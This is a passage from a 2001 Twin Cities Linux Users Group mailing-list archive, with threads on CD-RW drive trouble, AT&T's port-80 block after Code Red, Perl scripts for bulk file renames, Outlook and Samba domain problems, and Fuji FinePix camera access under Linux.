it. Win98 seems to think the drive is a CD-RW (the "properties" suggest it anyway), but the "Easy CD Creator" software has other ideas (thinks it can write, but only at "1x"). When a blank CDR is put into the CD-RW drive, the computer gets really busy. It is reading the CD-RW and reading the HDD and is slow about updating at least the CD writing software window, and sometimes the whole screen, but the mouse seems unaffected. When the blank CDR is ejected the activity dies down slowly and the system returns to "normal". Overall, system performance is negatively affected while the drive is installed, but not by an excessive amount. I installed the Philips drive and assumed the problem was with it when it didn't work. Now that the Teac drive is exhibiting the exact same behavior I suspect the computer, which seems wierd to me because the computer is pretty normal when the CD-RW is not installed. :-( I plan to install the Philips drive in another computer to test this theory tonight. Any hints? Am I missing the obvious? Thank you for reading, Troy _______________________________________________ tclug-list mailing list tclug-list@mn-linux.org https://mailman.mn-linux.org/mailman/listinfo/tclug-list From esper at sherohman.org Mon Aug 20 09:17:58 2001 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:26:37 2005 Subject: Re [TCLUG] AT&T filtering sites@3.sdm In-Reply-To: ; from jpschewe@mtu.net on Sun, Aug 19, 2001 at 06:48:05PM -0500 References: <200108160404.XAA20116@zjod.net> <20010819.21060300@linwin.mshome.net> Message-ID: <20010820091758.B15271@sherohman.org> On Sun, Aug 19, 2001 at 06:48:05PM -0500, Jon Schewe wrote: > Yes, that's what they said, clearly not understanding the problem. Here's the > quote > --start quote-- > Thank you for writing AT&T BroadBand Cable Internet Services regarding > the Internet service and Port 80. I apologize for any inconvenience > which you have experienced with our filter on Port 80. > > NOTE: We do not block your access to sites such as www.yahoo.com or any > others. > > It has been confirmed that a block will remain in effect (for reasons > related to the Code Red worm) until AT&T BroadBand feels it is safe to > remove it. This has been done to protect the network and we have no way > of removing it or getting it removed, at this point in time. Right, that's the block on incoming connections to port 80, which habitual^Wregular readers have known about for a while now. But that shouldn't affect your ability to contact any sites which are not hanging off an AT&T cable modem. -- With the arrest of Dimitry Sklyarov it has become apparent that it is not safe for non US software engineers to visit the United States. - Alan Cox "To prevent unauthorized reading..." - Adobe eBook reader license From dieman+tclug at ringworld.org Mon Aug 20 09:41:57 2001 From: dieman+tclug at ringworld.org (Scott Dier) Date: Mon Jan 17 13:26:37 2005 Subject: Re Re [TCLUG] AT&T filtering sites@3.sdm.sdm In-Reply-To: <20010820.11024600@linwin.mshome.net> References: <200108160404.XAA20116@zjod.net> <20010819.21060300@linwin.mshome.net> <20010820.11024600@linwin.mshome.net> Message-ID: <20010820094157.I9092@ringworld.org> > what you have discovered. And you have discovered they filter internet > access; for whatever reason, to whatever degree. My hat's off to you. Filtering now for 'bad-traffic' is much better than the forseen "MS-TCP". -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net From crumley at belka.space.umn.edu Mon Aug 20 10:10:36 2001 From: crumley at belka.space.umn.edu (Jim Crumley) Date: Mon Jan 17 13:26:37 2005 Subject: [TCLUG] tif2jpg continued... In-Reply-To: <01081809162000.11465@morpheus.hellnet>; from dan@williamsongraphics.com on Sat, Aug 18, 2001 at 09:16:20AM -0500 References: <01081809162000.11465@morpheus.hellnet> Message-ID: <20010820101036.B4299@gordo.space.umn.edu> On Sat, Aug 18, 2001 at 09:16:20AM -0500, dan williamson wrote: > After it completes, the files are named: DSCF0089.TIF.jpg > Is there a utility something I can use to do a mass rename by stripping the > .tif extension? I have looked around but haven't had much luck. mmv lets you rename groups of files. There is a Debian package for it, and there's probably an rpm as well. As somebody else said, its probably better to try to change the script so that it gets the names right to begin with. -- Jim Crumley | crumley@fields.space.umn.edu | Work: 612 624-6804 or -0378 | From troy.johnson at health.state.mn.us Mon Aug 20 10:32:47 2001 From: troy.johnson at health.state.mn.us (Troy.A Johnson) Date: Mon Jan 17 13:26:37 2005 Subject: [TCLUG] tif2jpg continued... Message-ID: Dan, Here's a script that is totally untested and almost sure to mess everything up, but it is intended to fix the problem. I must agree that the most economical use of effort would be to get the original script to do it right the first time. ================ #!/usr/local/bin/perl -w opendir(D, '.'); chomp(@filenames = readdir(D)); closedir(D); @oldnames = grep { m/\.tif\.gif$/i } @filenames; @newnames{@oldnames} = map { s/\.tif\.gif$/.gif/i } @oldnames; foreach $name (@oldnames) { rename($name, $newnames{$name}); } ============ A happy day to you, Troy >>> crumley@belka.space.umn.edu 08/20/01 10:10AM >>> On Sat, Aug 18, 2001 at 09:16:20AM -0500, dan williamson wrote: > After it completes, the files are named: DSCF0089.TIF.jpg > Is there a utility something I can use to do a mass rename by stripping the > .tif extension? I have looked around but haven't had much luck. mmv lets you rename groups of files. There is a Debian package for it, and there's probably an rpm as well. As somebody else said, its probably better to try to change the script so that it gets the names right to begin with. -- Jim Crumley | crumley@fields.space.umn.edu | Work: 612 624-6804 or -0378 | _______________________________________________ tclug-list mailing list tclug-list@mn-linux.org https://mailman.mn-linux.org/mailman/listinfo/tclug-list From blayer at qwest.net Mon Aug 20 12:56:14 2001 From: blayer at qwest.net (Bill Layer) Date: Mon Jan 17 13:26:37 2005 Subject: [TCLUG] Sylpheed kills blackbox with sig 11 Message-ID: <20010820125614.6df3143e.blayer@qwest.net> Anyone here run Sylpheed >= 5.2 on blackbox? Blackbox dies randomly with Signal 11 when I click a button on the Sylpheed window. Sometimes it is stable for hours, other times, it dies on first click. -.bill.layer.- -.those who are talking don't know, and those who know aren't talking.- -.frogtown.- -.minnesota.- -.u.s.a.- From thudak at sistina.com Mon Aug 20 15:52:56 2001 From: thudak at sistina.com (Tom Hudak) Date: Mon Jan 17 13:26:37 2005 Subject: [TCLUG] Outlook, samba, and roaming profiles Message-ID: <20010820155256.A7103@localhost> I recently ran into a serious issue with the way outlook does a number of things. (This may in part be w2k's fault as well.) Recently after downgrading our samba PDC from 2.2.1a to 2.2.0, outlook no longer runs for users. After the downgrade went in place, the w2k machines lost their trust accounts and needed to be re-added to the domain. This includes the users on that box. (Which are assigned a completely unique ID every single time they are added, whether it's the same user or not.) My only conclusion is that in re-establishing the trust account and re-adding the users, outlook no longer runs, with an all-to-informational error of "Cannot start microsoft outlook" and nothing more. I think that some registry setting is expecting a different UID than it's receiving upon execution of Outlook by the newly re-added user. This has the side effect of not being able to run Outlook in any way by that user, on that workstation. If anyone has run into this problem, I would be very interested in finding out what you did, until then I'll be scouring registry entries for anything dealing with a uid or outlook, and playing until it works again. (No, not even a re-install seems to do the trick.) I'm very disturbed that this behavior exists and I am very interested in knowing why, so at a very minimum I can get my users functional again. Any suggestions are MORE than appreciated, I've already spent WAY TO LONG on this little fit w2k/o2k is throwing and I'm about to format/reinstall all of those users from scratch. Thanks, -- Thomas J. Hudak Systems Administrator Sistina Software Inc. - www.sistina.com Phone: 612.638.0500 x.513 Fax: 612.379.3952 Page: 612.318.1967 Key fingerprint = BEC6 3181 4C9B A7BB AF11 4717 6F85 B346 380D 523E sleep: Command not found - The story of my life... -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010820/a0fcb304/attachment.pgp From troy.johnson at health.state.mn.us Mon Aug 20 16:13:12 2001 From: troy.johnson at health.state.mn.us (Troy.A Johnson) Date: Mon Jan 17 13:26:38 2005 Subject: [TCLUG] tif2jpg continued... Message-ID: Dan, Since it is a slow day on the list (and elsewhere)... ...here is a semi-tested version of the vile crap I mailed earlier: ========== #!/usr/local/bin/perl -w opendir(D, '.'); chomp(@filenames = readdir(D)); closedir(D); print "filenames: @filenames\n"; $match = '\.tif\.gif$'; $replace = '.gif'; @oldnames = grep { m/$match/i; } @filenames; @newnames{@oldnames} = grep { s/$match/$replace/ei; } @filenames; foreach $name (@oldnames) { # rename($name, $newnames{$name}); print "$name => $newnames{$name}\n"; } print "filenames: @filenames\n"; ========== Wow, it actually allows you to see the changes it makes. If the changes are to your liking, and you're a gambler, uncomment the "rename" line near the end. Good luck, Troy On Sat, Aug 18, 2001 at 09:16:20AM -0500, dan williamson wrote: > After it completes, the files are named: DSCF0089.TIF.jpg > Is there a utility something I can use to do a mass rename by stripping the > .tif extension? I have looked around but haven't had much luck. From troy.johnson at health.state.mn.us Mon Aug 20 16:21:27 2001 From: troy.johnson at health.state.mn.us (Troy.A Johnson) Date: Mon Jan 17 13:26:38 2005 Subject: [TCLUG] Outlook, samba, and roaming profiles Message-ID: Thomas, Are the users getting mail from an Exchange server? I ask because I'd like to know whether it is a client- only or client & server interaction issue. Are the executable and other files needed for Outlook locked down by group or user? If so, and IDs have gotten all screwed up, you may have to make new groups and assign rights to files/directories again. :-( Just guessing, Troy >>> thudak@sistina.com 08/20/01 03:52PM >>> I recently ran into a serious issue with the way outlook does a number of things. (This may in part be w2k's fault as well.) Recently after downgrading our samba PDC from 2.2.1a to 2.2.0, outlook no longer runs for users. After the downgrade went in place, the w2k machines lost their trust accounts and needed to be re-added to the domain. This includes the users on that box. (Which are assigned a completely unique ID every single time they are added, whether it's the same user or not.) My only conclusion is that in re-establishing the trust account and re-adding the users, outlook no longer runs, with an all-to-informational error of "Cannot start microsoft outlook" and nothing more. I think that some registry setting is expecting a different UID than it's receiving upon execution of Outlook by the newly re-added user. This has the side effect of not being able to run Outlook in any way by that user, on that workstation. If anyone has run into this problem, I would be very interested in finding out what you did, until then I'll be scouring registry entries for anything dealing with a uid or outlook, and playing until it works again. (No, not even a re-install seems to do the trick.) I'm very disturbed that this behavior exists and I am very interested in knowing why, so at a very minimum I can get my users functional again. Any suggestions are MORE than appreciated, I've already spent WAY TO LONG on this little fit w2k/o2k is throwing and I'm about to format/reinstall all of those users from scratch. Thanks, -- Thomas J. Hudak Systems Administrator Sistina Software Inc. - www.sistina.com Phone: 612.638.0500 x.513 Fax: 612.379.3952 Page: 612.318.1967 Key fingerprint = BEC6 3181 4C9B A7BB AF11 4717 6F85 B346 380D 523E sleep: Command not found - The story of my life... From owens at gradtech.com Mon Aug 20 16:22:13 2001 From: owens at gradtech.com (Dale W. Owens) Date: Mon Jan 17 13:26:38 2005 Subject: [TCLUG] Outlook, samba, and roaming profiles In-Reply-To: <20010820155256.A7103@localhost> Message-ID: <000001c129be$2ecd0e00$2000000a@gradtech.com> I've run into a similar problem with O2K and NT4 when the machines were removed from the samba domain. I had to add all of the users for that machine into the local admin group, log in, run outlook, log back in as admin (local), and remove them from the admin group. Evidently dumping them into the admin group gives them sufficient privileges to fix the registry entries and launch Outlook. Good Luck, Dale -----Original Message----- From: tclug-list-admin@mn-linux.org [mailto:tclug-list-admin@mn-linux.org]On Behalf Of Tom Hudak Sent: Monday, August 20, 2001 3:53 PM To: tclug-list Subject: [TCLUG] Outlook, samba, and roaming profiles I recently ran into a serious issue with the way outlook does a number of things. (This may in part be w2k's fault as well.) Recently after downgrading our samba PDC from 2.2.1a to 2.2.0, outlook no longer runs for users. After the downgrade went in place, the w2k machines lost their trust accounts and needed to be re-added to the domain. This includes the users on that box. (Which are assigned a completely unique ID every single time they are added, whether it's the same user or not.) My only conclusion is that in re-establishing the trust account and re-adding the users, outlook no longer runs, with an all-to-informational error of "Cannot start microsoft outlook" and nothing more. I think that some registry setting is expecting a different UID than it's receiving upon execution of Outlook by the newly re-added user. This has the side effect of not being able to run Outlook in any way by that user, on that workstation. If anyone has run into this problem, I would be very interested in finding out what you did, until then I'll be scouring registry entries for anything dealing with a uid or outlook, and playing until it works again. (No, not even a re-install seems to do the trick.) I'm very disturbed that this behavior exists and I am very interested in knowing why, so at a very minimum I can get my users functional again. Any suggestions are MORE than appreciated, I've already spent WAY TO LONG on this little fit w2k/o2k is throwing and I'm about to format/reinstall all of those users from scratch. Thanks, -- Thomas J. Hudak Systems Administrator Sistina Software Inc. - www.sistina.com Phone: 612.638.0500 x.513 Fax: 612.379.3952 Page: 612.318.1967 Key fingerprint = BEC6 3181 4C9B A7BB AF11 4717 6F85 B346 380D 523E sleep: Command not found - The story of my life... From simeonuj at eetc.com Mon Aug 20 16:49:10 2001 From: simeonuj at eetc.com (Simeon Johnston) Date: Mon Jan 17 13:26:38 2005 Subject: [TCLUG] decoding macintosh binhex and .sit Message-ID: <3B81858B.FA9D3B29@eetc.com> I just compressed an binhex'd a few files that I want to use on my linux machine at home. How do I decrypt these? I know I can in Windows because I have Aladdin Expander (it rocks) and I *could* download Aladdin's linux version (but don't want to). Is there a program that will decode these files besides expander? Some basic linux utilities hopefully... :) sim From austad at marketwatch.com Mon Aug 20 16:48:17 2001 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:26:38 2005 Subject: [TCLUG] Outlook, samba, and roaming profiles Message-ID: <54180709DD3FE145917BB165AFE7EFA0BCDDC5@mspexch2.office.mktw.net> When you downgraded, the samba box probably lost all of the SID's for the machines in your domain. No idea how to fix it though. I ran into SID issues with one machine a long time ago and I just reinstalled since it needed it anyway. :( Jay > -----Original Message----- > From: Troy.A Johnson [mailto:troy.johnson@health.state.mn.us] > Sent: Monday, August 20, 2001 4:21 PM > To: tclug-list@mn-linux.org > Subject: Re: [TCLUG] Outlook, samba, and roaming profiles > > > Thomas, > > Are the users getting mail from an Exchange server? > I ask because I'd like to know whether it is a client- > only or client & server interaction issue. > > Are the executable and other files needed for Outlook > locked down by group or user? If so, and IDs have > gotten all screwed up, you may have to make new > groups and assign rights to files/directories again. :-( > > Just guessing, > > Troy > > >>> thudak@sistina.com 08/20/01 03:52PM >>> > I recently ran into a serious issue with the way outlook does > a number of things. (This may in part be w2k's fault as well.) > > Recently after downgrading our samba PDC from 2.2.1a to > 2.2.0, outlook no longer runs for users. After the downgrade > went in place, the w2k machines lost their trust accounts and > needed to be re-added to the domain. This includes the users > on that box. (Which are assigned a completely unique ID every > single time they are added, whether it's the same user or not.) > > My only conclusion is that in re-establishing the trust > account and re-adding the users, outlook no longer runs, with > an all-to-informational error of "Cannot start microsoft > outlook" and nothing more. I think that some registry setting > is expecting a different UID than it's receiving upon > execution of Outlook by the newly re-added user. This has the > side effect of not being able to run Outlook in any way by > that user, on that workstation. > > If anyone has run into this problem, I would be very > interested in finding out what you did, until then I'll be > scouring registry entries for anything dealing with a uid or > outlook, and playing until it works again. (No, not even a > re-install seems to do the trick.) > > I'm very disturbed that this behavior exists and I am very > interested in knowing why, so at a very minimum I can get my > users functional again. > > Any suggestions are MORE than appreciated, I've already spent > WAY TO LONG on this little fit w2k/o2k is throwing and I'm > about to format/reinstall all of those users from scratch. > > Thanks, > -- > Thomas J. Hudak > Systems Administrator > Sistina Software Inc. - www.sistina.com > Phone: 612.638.0500 x.513 > Fax: 612.379.3952 > Page: 612.318.1967 > Key fingerprint = BEC6 3181 4C9B A7BB AF11 4717 6F85 B346 380D 523E > > sleep: Command not found - The story of my life... > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-> linux.org/mailman/listinfo/tclug-list > From natecars at real-time.com Mon Aug 20 16:51:24 2001 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:26:38 2005 Subject: [TCLUG] Outlook, samba, and roaming profiles In-Reply-To: <20010820155256.A7103@localhost> Message-ID: On Mon, 20 Aug 2001, Tom Hudak wrote: > I recently ran into a serious issue with the way outlook does a number of > things. (This may in part be w2k's fault as well.) > > Recently after downgrading our samba PDC from 2.2.1a to 2.2.0, outlook no > longer runs for users. After the downgrade went in place, the w2k machines > lost their trust accounts and needed to be re-added to the domain. This > includes the users on that box. (Which are assigned a completely unique ID > every single time they are added, whether it's the same user or not.) Why would you want to downgrade to Samba 2.2.0? 2.2.1a fixes a LOT of stuff. > My only conclusion is that in re-establishing the trust account and re-adding > the users, outlook no longer runs, with an all-to-informational error of > "Cannot start microsoft outlook" and nothing more. I think that some registry > setting is expecting a different UID than it's receiving upon execution of > Outlook by the newly re-added user. This has the side effect of not being able > to run Outlook in any way by that user, on that workstation. > > If anyone has run into this problem, I would be very interested in finding out > what you did, until then I'll be scouring registry entries for anything > dealing with a uid or outlook, and playing until it works again. (No, not even > a re-install seems to do the trick.) > > I'm very disturbed that this behavior exists and I am very interested in > knowing why, so at a very minimum I can get my users functional again. Heh, welcome to M$. :) > Any suggestions are MORE than appreciated, I've already spent WAY TO LONG on > this little fit w2k/o2k is throwing and I'm about to format/reinstall all of > those users from scratch. -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From trammell at trammell.dyndns.org Mon Aug 20 21:16:25 2001 From: trammell at trammell.dyndns.org (John J. Trammell) Date: Mon Jan 17 13:26:38 2005 Subject: [TCLUG] decoding macintosh binhex and .sit In-Reply-To: <3B81858B.FA9D3B29@eetc.com>; from simeonuj@eetc.com on Mon, Aug 20, 2001 at 04:49:10PM -0500 References: <3B81858B.FA9D3B29@eetc.com> Message-ID: <20010820211625.A30341@trammell.dyndns.org> On Mon, Aug 20, 2001 at 04:49:10PM -0500, Simeon Johnston wrote: > I just compressed an binhex'd a few files that I want to use on my linux > machine at home. > How do I decrypt these? Debian package 'macutils' handles these... [ haqq ~ ] dpkg -L macutils | grep hex /usr/bin/hexbin /usr/bin/binhex /usr/doc/macutils/README.hexbin /usr/man/man1/hexbin.1.gz /usr/man/man1/binhex.1.gz [ haqq ~ ] ... don't know about other distros. -- Only a very small fraction of our DNA does anything; the rest is all comments and ifdefs. From clay at fandre.com Mon Aug 20 10:35:41 2001 From: clay at fandre.com (Clay Fandre) Date: Mon Jan 17 13:26:38 2005 Subject: [TCLUG] [TCLUG-ANNOUNCE] Rasmus Lerdorf Speaks at tcphp! Message-ID: <20010820103541.A19958@fandre.com> I know this isn't a TCLUG related event, but I thought it was cool enough to be posted here. If you don't want to get these types of announcements, just reply to me and let me know. -- Clay ATTENTION: To anybody interested in Web Application Development: The Twin Cities PHP User Group is pleased to announce the the visit of Rasmus Lerdorf to the Twin Cities this Tuesday, August 21st, at 7:00 pm. Rasmus Lerdorf is the original inventor of the PHP programming language. He will be providing a fast-moving detailed tutorial covering interesting aspects of PHP and Open Source Software. This is a rare and exciting opportunity to meet one of the more influential open-source developers and a great way to learn more about PHP. This event is free and open to the public. When: Tuesday, August 21st, 7:00 pm. Where: University of Minnesota - EE/CSci Building 200 Union Street S.E. Minneapolis, MN For more information and to sign up for this exciting event, visit: http://www.tcphp.org/meetings/rasmus.php Please feel free to forward this announcement to others who may be interested in attending this exciting event. -------------- next part -------------- A non-text attachment was scrubbed... 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After the downgrade went in place, the w2k machines >> lost their trust accounts and needed to be re-added to the domain. This >> includes the users on that box. (Which are assigned a completely unique ID >> every single time they are added, whether it's the same user or not.) > >Why would you want to downgrade to Samba 2.2.0? 2.2.1a fixes a LOT of >stuff. I'm not sure what it was exactly, but some of the machine's weren't happy, and 1 in particular would *NOT* allow a login via the domain for any users. The downgrade made them all calm down, but loose their trust accounts. I just tried scanning the registry for all outlook related keys, found 1 in particular that intrigued me. HKEY_LOCAL_MACHINE/Software/Shared Tools/MSInfo/Categories/Applications/Outlook which contains a key called CLSID which is defined with a ?UID? (whatever the LONG grouping of characters that designates a "user" to the registry.) and I noticed it was not correct. By correct I mean it was not like any of the Identity values for the HKEY_USERS so I changed it and nothing happened. :-( I'll try making them administrators, launching outlook, logging off, and removing them as the administrator from the admin group. Wish me luck! Thanks, -- Thomas J. Hudak Systems Administrator Sistina Software Inc. - www.sistina.com Phone: 612.638.0500 x.513 Fax: 612.379.3952 Page: 612.318.1967 Key fingerprint = BEC6 3181 4C9B A7BB AF11 4717 6F85 B346 380D 523E sleep: Command not found - The story of my life... -------------- next part -------------- A non-text attachment was scrubbed... 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Thanks -Jesse From evisuale at mn.mediaone.net Mon Aug 20 18:02:47 2001 From: evisuale at mn.mediaone.net (Erick Stohr) Date: Mon Jan 17 13:26:38 2005 Subject: [TCLUG] Fuji FinePix References: Message-ID: <000501c129cc$3b2f3020$66baa318@mn.mediaone.net> hacked USB support = you are able to use USB under the linux kernel, in 2.4.2-ac20 = would be the kernel version, which you can get from www.kernel.org. Erick ----- Original Message ----- From: Jesse Millan-Smith To: Sent: Monday, August 20, 2001 5:43 PM Subject: [TCLUG] Fuji FinePix > > Hey, I am a little new to linux. I am running Redhat 7.1 on my pc, > I also have a Fuji FinePix 1400 zoom. I just dont know how to > access my pictures in Linux. Could you help?I dont know what you mean when > you say that you hacked in USB support for it and the driver is available > in 2.4.2-ac20 or later. > Thanks > -Jesse > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From nate at techie.com Mon Aug 20 18:03:51 2001 From: nate at techie.com (Nate Straz) Date: Mon Jan 17 13:26:38 2005 Subject: [TCLUG] Fuji FinePix In-Reply-To: ; from jessem@pdx.edu on Mon, Aug 20, 2001 at 03:43:55PM -0700 References: Message-ID: <20010820180351.A17859@candle.mn.mediaone.net> On Mon, Aug 20, 2001 at 03:43:55PM -0700, Jesse Millan-Smith wrote: > Hey, I am a little new to linux. I am running Redhat 7.1 on my pc, > I also have a Fuji FinePix 1400 zoom. I just dont know how to > access my pictures in Linux. Could you help?I dont know what you mean when > you say that you hacked in USB support for it and the driver is available > in 2.4.2-ac20 or later. The Fuji FinePix 1400 Zoom is a USB only camera that uses Smartmedia for storage. When you have a properly patched kernel, 2.4.2-ac20 (or later0, or 2.4.8 (or later) it will show up as a SCSI disk. You need to configure your kernel with SCSI, SCSI Disk, and usb-storage support. When you plug in the cable and turn the camera on, you'll get a message on the console saying a SCSI disk was detected with such and such partitions. You just need to mount the disk and copy the pictures off. Nate From tanner at real-time.com Mon Aug 20 18:44:06 2001 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:26:38 2005 Subject: [TCLUG] Bye-bye Excite@Home Message-ID: <20010820184406.A26371@real-time.com> http://news.cnet.com/news/0-1004-202-6928152.html Gotta love the Stock Price graphic. @home will probably be snarf'd up by AOL :-( What large ISP is next to get the toilet? Should we start a pool? -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From sandeen at sgi.com Mon Aug 20 19:00:02 2001 From: sandeen at sgi.com (Eric Sandeen) Date: Mon Jan 17 13:26:38 2005 Subject: [TCLUG] Fuji FinePix References: Message-ID: <3B81A482.102E5340@sgi.com> Red Hat 7.1 already has USB support, so you should be good to go there. As Nate said, it will probably appear as a mountable scsi hard drive once you have the modules loaded. You should also look at www.gphoto.org, which is a nice front end for cameras. It was designed more for serial-type connections, but it should work ok w/ USB cameras as well - I think it has a "directory browse" mode. Here's someone else who used this camera; the page has a fair amount of low-level setup, but your RH 7.1 kernel should already be compiled with the modules you need, you'll just need to load them & mount the camera. -Eric Jesse Millan-Smith wrote: > > Hey, I am a little new to linux. I am running Redhat 7.1 on my pc, > I also have a Fuji FinePix 1400 zoom. I just dont know how to > access my pictures in Linux. Could you help?I dont know what you mean when > you say that you hacked in USB support for it and the driver is available > in 2.4.2-ac20 or later. > Thanks > -Jesse -- Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs sandeen@sgi.com SGI, Inc. From sandeen at sgi.com Mon Aug 20 19:15:33 2001 From: sandeen at sgi.com (Eric Sandeen) Date: Mon Jan 17 13:26:39 2005 Subject: [TCLUG] Fuji FinePix References: <3B81A482.102E5340@sgi.com> Message-ID: <3B81A825.6216489C@sgi.com> Eric Sandeen wrote: > Here's someone else who used this camera; Whoops... http://arctic-linux.tnett.no/finepix.html -- Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs sandeen@sgi.com SGI, Inc. From hick0088 at tc.umn.edu Mon Aug 20 19:19:28 2001 From: hick0088 at tc.umn.edu (Mike Hicks) Date: Mon Jan 17 13:26:39 2005 Subject: [TCLUG] Bye-bye Excite@Home In-Reply-To: <20010820184406.A26371@real-time.com> References: <20010820184406.A26371@real-time.com> Message-ID: <20010820191928.48152304.hick0088@tc.umn.edu> Bob Tanner wrote: > > What large ISP is next to get the toilet? AOL? ;-) -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ California raisins / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ murdered: Cereal Killer \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) suspected [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] -------------- next part -------------- A non-text attachment was scrubbed... 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I just checked the source of the RedHat 2.4.3 kernel they have as an update to 7.1, it has the code in there. I don't think I have the code for their original 2.4.2 base kernel lying around to check. So grab the kernel updates from RedHat if you have any trouble, like the camera showing up as an scanner or a printer. Nate From dieman+tclug at ringworld.org Mon Aug 20 19:33:59 2001 From: dieman+tclug at ringworld.org (Scott Dier) Date: Mon Jan 17 13:26:39 2005 Subject: [TCLUG] Bye-bye Excite@Home In-Reply-To: <20010820184406.A26371@real-time.com> References: <20010820184406.A26371@real-time.com> Message-ID: <20010820193359.O9092@ringworld.org> * Bob Tanner [010820 18:45]: > @home will probably be snarf'd up by AOL :-( AT&T will most likely rebrand the @HOME stuff running on their TCI network holdings. Other providers will probally do the same. -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net From esper at sherohman.org Mon Aug 20 19:35:49 2001 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:26:39 2005 Subject: [TCLUG] Bye-bye Excite@Home In-Reply-To: <20010820191928.48152304.hick0088@tc.umn.edu>; from hick0088@tc.umn.edu on Mon, Aug 20, 2001 at 07:19:28PM -0500 References: <20010820184406.A26371@real-time.com> <20010820191928.48152304.hick0088@tc.umn.edu> Message-ID: <20010820193549.A20182@sherohman.org> On Mon, Aug 20, 2001 at 07:19:28PM -0500, Mike Hicks wrote: > Bob Tanner wrote: > > What large ISP is next to get the toilet? > > AOL? ;-) We can only hope... -- With the arrest of Dimitry Sklyarov it has become apparent that it is not safe for non US software engineers to visit the United States. - Alan Cox "To prevent unauthorized reading..." - Adobe eBook reader license From adam at teamstrange.com Tue Aug 21 00:22:53 2001 From: adam at teamstrange.com (Adam Wolkoff) Date: Mon Jan 17 13:26:39 2005 Subject: [TCLUG] Odd CD-RW problem update In-Reply-To: <20010820180351.A17859@candle.mn.mediaone.net> Message-ID: Hey all: Thanks to the many folks who were forthcoming with advice and support on getting my ATAPI plextor 8/4/32 CDRW to work under mandrake 8.0. Jay Kline's "don't worry its not always this bad" type encouragement to this linux newbie also very much appreciated. Anyways, even with all the fine help I was getting nowhere fast. Everything that was suggested SEEMED like it should work, it just wouldn't. So, I thought I'd dump on old Mandrake itself, and called their tech support line. Spent about 30 mins on the phone (after 10 mins hold) with a friendly tech guy. We agreed that this is an odd problem. He confirmed that the drive is supported under M8.0. Also agreed that the drive appears to be mounting but it will not give access. The problem has now been "certified" and sent up the ladder to a supervisor typer person. I am to expect a response within 48 hours. I will keep you all advised. Again, thanks to all who provided advice and encouragement. Regards, TeamStrange Airheads, Inc. By: Adam S. Wolkoff Vice President, Special Projects adam@teamstrange.com http://www.teamstrange.com From josh at greentechnologist.org Tue Aug 21 02:17:15 2001 From: josh at greentechnologist.org (Joshua b. Jore) Date: Mon Jan 17 13:26:39 2005 Subject: [TCLUG] ftpd hooks to firewall? Message-ID: Has anyone run across a ftp daemon that can request firewall changes on the fly? Say, just prior to doing allowing a specific client to connect to a port open just that port to just that client and only for stateful connections. After the connection is established then just remove the rule. Anyone? Joshua Jore Minneapolis Ward 3, precinct 10 "The irony of this man being imprisoned in the United States and longing to return to once-Communist Russia so he can regain his right to free speech is simply staggering." - someone else From veldy at veldy.net Tue Aug 21 08:06:26 2001 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:26:39 2005 Subject: [TCLUG] blacklist update script for squidGuard? Message-ID: <004501c12a42$16a980e0$3028680a@tgt.com> Does anybody have a script they use that will update blacklists on a periodic basis for squidGuard? Tom Veldhouse veldy@veldy.net From foeclan at winternet.com Tue Aug 21 09:17:21 2001 From: foeclan at winternet.com (Michael Vieths) Date: Mon Jan 17 13:26:39 2005 Subject: [TCLUG] DVD/CD-RW combo drive (laptop) Message-ID: Anyone had experience getting this drive to work in Linux? Bought a Presario 1200Z laptop and I'm trying to be prepared to do battle with it when I repartition and install Linux. :) -- Michael Vieths Foeclan@Winternet.Com From blayer at qwest.net Tue Aug 21 10:24:02 2001 From: blayer at qwest.net (Bill Layer) Date: Mon Jan 17 13:26:39 2005 Subject: [TCLUG] DVD/CD-RW combo drive (laptop) In-Reply-To: References: Message-ID: <20010821102402.089658b3.blayer@qwest.net> On Tue, 21 Aug 2001 09:17:21 -0500 (CDT) "Michael Vieths" wrote: > Anyone had experience getting this drive to work in Linux? Bought a > Presario 1200Z laptop and I'm trying to be prepared to do battle with it > when I repartition and install Linux. :) No, but it is easy enough to boot a Linux rescue floppy / CD like Tom's RTBT or the bootable business card, and try to mount the drive. If it mounts with a rescue system, it will most likely be fine with any installer. -.bill.layer.- -.those who are talking don't know, and those who know aren't talking.- -.frogtown.- -.minnesota.- -.u.s.a.- From tanner at real-time.com Tue Aug 21 10:47:40 2001 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:26:39 2005 Subject: [TCLUG] jikes rocks Message-ID: <20010821104740.A30458@real-time.com> Compiling a significantly large java project. IBM Java2-13 real 16m29.536s user 11m18.010s sys 2m6.990s Jikes real 12m1.854s user 4m57.940s sys 1m49.650s -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From florin at iucha.net Tue Aug 21 12:15:17 2001 From: florin at iucha.net (Florin Iucha) Date: Mon Jan 17 13:26:39 2005 Subject: [TCLUG] jikes rocks In-Reply-To: <20010821104740.A30458@real-time.com>; from tanner@real-time.com on Tue, Aug 21, 2001 at 10:47:40AM -0500 References: <20010821104740.A30458@real-time.com> Message-ID: 